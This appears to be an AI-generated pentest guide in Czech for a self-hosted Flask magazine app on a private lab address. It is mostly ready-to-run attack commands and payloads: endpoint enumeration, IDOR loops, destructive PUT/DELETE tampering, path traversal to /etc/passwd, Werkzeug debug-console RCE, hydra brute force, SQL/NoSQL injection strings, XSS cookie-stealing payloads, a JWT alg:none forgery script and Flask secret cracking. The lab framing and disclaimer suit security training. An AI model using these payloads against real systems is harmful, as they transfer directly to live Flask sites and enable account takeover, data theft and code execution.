Generováno Claude.ai
🔐 Pentest Guide – Flask Magazine App (Local Lab)
Scope:
http://192.168.100.17:5000
Target: Vlastní Flask aplikace s JSON databází, admin přihlášením a veřejným API
Prostředí: Kali Linux
Účel: Vzdělávací – vlastní lab
Fáze 1 – Reconnaissance (Průzkum)
1.1 Nmap – skenování portu a detekce služeb
nmap -sV -sC -p 5000 192.168.100.17Co hledáme:
- Verzi Flasku / Werkzeug (debug mode?)
- HTTP hlavičky (Server, X-Powered-By)
- Otevřené porty navíc
1.2 Ruční průzkum HTTP hlaviček
curl -I http://192.168.100.17:5000/Zajímavé hlavičky:
Server: Werkzeug/X.X.X– odhaluje verzi- Chybějící
X-Content-Type-Options,X-Frame-Options= potenciální XSS / clickjacking
1.3 Gobuster – enumerace skrytých endpointů
gobuster dir \
-u http://192.168.100.17:5000 \
-w /usr/share/wordlists/dirb/common.txt \
-x py,json,txt,bak \
-t 50Zajímavé nálezy:
/admin,/login,/dashboard/static/database.json,/data/,/backup/- Zálohy:
database.json.bak,db.json
Fáze 2 – API Security Testing
2.1 Průzkum veřejného API
curl http://192.168.100.17:5000/api/issues/
curl http://192.168.100.17:5000/api/issues/1
curl http://192.168.100.17:5000/api/issues/0
curl http://192.168.100.17:5000/api/issues/-12.2 IDOR – Insecure Direct Object Reference
Iteruj přes ID a hledej neveřejné nebo admin záznamy:
for i in $(seq 1 50); do
echo "=== Issue $i ==="
curl -s http://192.168.100.17:5000/api/issues/$i | python3 -m json.tool
doneRiziko: Přístup k nepublikovaným článkům, interním datům nebo admin záznamům.
2.3 HTTP Verb Tampering
# Zkus nepovolené metody
curl -X DELETE http://192.168.100.17:5000/api/issues/1
curl -X PUT http://192.168.100.17:5000/api/issues/1 \
-H "Content-Type: application/json" \
-d '{"title":"HACKED","content":"pwned"}'
curl -X PATCH http://192.168.100.17:5000/api/issues/1 \
-H "Content-Type: application/json" \
-d '{"published": true}'2.4 Mass Assignment
Při POST requestu zkus posílat extra pole:
curl -X POST http://192.168.100.17:5000/api/issues/ \
-H "Content-Type: application/json" \
-d '{"title":"Test","content":"Test","is_admin":true,"published":true,"role":"admin"}'2.5 Path Traversal na API
curl http://192.168.100.17:5000/api/issues/../admin
curl http://192.168.100.17:5000/api/issues/%2e%2e%2fadmin
curl "http://192.168.100.17:5000/api/issues/../../../../etc/passwd"Fáze 3 – JSON Databáze
3.1 Přímý přístup k souboru
Flask aplikace typicky ukládá JSON soubory ve /static/ nebo kořenovém adresáři:
curl http://192.168.100.17:5000/static/database.json
curl http://192.168.100.17:5000/static/db.json
curl http://192.168.100.17:5000/database.json
curl http://192.168.100.17:5000/data/issues.json3.2 Path Traversal k systémovým souborům
# URL encoding variace
curl "http://192.168.100.17:5000/static/../database.json"
curl "http://192.168.100.17:5000/static/%2e%2e%2fdatabase.json"
# Pokud existuje parametr pro načítání souborů
curl "http://192.168.100.17:5000/api/issues?file=../../../../etc/passwd"3.3 Werkzeug Debug Console (kritická zranitelnost)
Pokud je Flask spuštěný s debug=True:
curl http://192.168.100.17:5000/consolePokud je dostupná – RCE (Remote Code Execution) přes Python konzoli v prohlížeči.
Fáze 4 – Admin Login
4.1 Default credentials
Zkus ručně:
admin / adminadmin / passwordadmin / 123456admin / flaskroot / root
4.2 Hydra – Brute Force
# Zjisti POST parametry (např. přes DevTools nebo Burp)
hydra -l admin \
-P /usr/share/wordlists/rockyou.txt \
192.168.100.17 \
http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials" \
-V -t 104.3 SQL/NoSQL Injection (i pro JSON backend)
I Flask s JSON DB může být zranitelný pokud se hodnoty přímo porovnávají:
Username: admin' OR '1'='1
Password: anything
Username: admin
Password: ' OR ''='
JSON injection (pokud backend parsuje vstup do JSON dotazu):
{"username": {"$ne": null}, "password": {"$ne": null}}4.4 Burp Suite – Intercept & Modify
- Nastav proxy:
127.0.0.1:8080 - Zachyť login request
- Pošli do Intruder → Brute force
- Nebo do Repeater → Ruční testování injekcí
Fáze 5 – XSS & Stored Attacks
5.1 Reflected XSS
curl "http://192.168.100.17:5000/search?q=<script>alert('XSS')</script>"
curl "http://192.168.100.17:5000/search?q=<img src=x onerror=alert(1)>"5.2 Stored XSS (v článcích/komentářích)
Pokud lze přidávat obsah:
curl -X POST http://192.168.100.17:5000/api/issues/ \
-H "Content-Type: application/json" \
-d '{"title":"<script>alert(document.cookie)</script>","content":"test"}'Fáze 6 – Autentizace & Session
6.1 JWT Token Manipulation
Pokud app používá JWT:
pip install jwtimport jwt
# Dekóduj bez verifikace
token = "eyJ..."
decoded = jwt.decode(token, options={"verify_signature": False})
print(decoded)
# Zkus alg:none attack
header = {"alg": "none", "typ": "JWT"}
payload = {"user": "admin", "role": "admin"}
forged = jwt.encode(payload, "", algorithm="none")6.2 Flask Secret Key Bruteforce
Pokud máš session cookie (Flask používá podepsané cookies):
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt \
--unsign --cookie "session=<cookie_value>" \
--no-literal-evalShrnutí nálezů (šablona)
| # | Zranitelnost | Endpoint | Závažnost | Status |
|---|---|---|---|---|
| 1 | IDOR | /api/issues/{id} | Střední | ✅/❌ |
| 2 | Exposed JSON DB | /static/database.json | Vysoká | ✅/❌ |
| 3 | Werkzeug Debug RCE | /console | Kritická | ✅/❌ |
| 4 | Brute Force Login | /login | Střední | ✅/❌ |
| 5 | HTTP Verb Tampering | /api/issues/ | Střední | ✅/❌ |
| 6 | Stored XSS | /api/issues/ | Vysoká | ✅/❌ |
| 7 | Path Traversal | /static/ | Vysoká | ✅/❌ |
| 8 | Flask Secret Key Leak | Session cookie | Vysoká | ✅/❌ |
⚠️ Disclaimer: Tento pentest byl proveden výhradně na vlastní aplikaci v izolovaném lokálním prostředí pro vzdělávací účely.